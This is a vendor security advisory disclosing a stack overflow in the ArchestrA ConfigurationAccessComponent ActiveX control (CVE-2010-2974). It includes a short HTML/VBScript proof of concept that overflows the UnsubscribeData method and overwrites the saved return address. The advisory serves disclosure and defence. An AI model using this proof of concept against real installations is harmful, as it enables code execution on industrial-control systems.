

IOActive Security Advisory

Title	Wonderware Archestra ConfigurationAccessComponent ActiveX Stack Overflow
Severity	Medium
Discovered by	Richard van Eeden

Affected Products

Wonderware Archestra CoConfigurationAccess Server

```
C:\Program
Files\ArchestrA\Framework\Bin\ConfigurationAccessComponent.dll
```

Impact

Remote code execution.

Technical Details

The Wonderware Archestra ConfigurationAccessComponent ActiveX control that is marked safe for scripting suffers from a stack overflow vulnerability. The UnsubscribeData method of the IConfigurationAccess interface uses wcscpy() to copy its first parameter into a static-sized, local buffer. Attackers can exploit this vulnerability and overwrite arbitrary stack data, gaining code execution.

IOActive has developed a proof of concept exploit that overwrites the saved return address with 0x00410041:

```
<html>
<object classid='clsid:55414847-A533-4642-8E92-76B191B24B87'
id='ioactive'></object>
<script language='vbscript'>
foo=String(1044, "A")
ioactive.UnsubscribeData foo,""
</script>
</object>
</html>
```

CVE. More information can be found about this vulnerability at the following CVE location:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2974



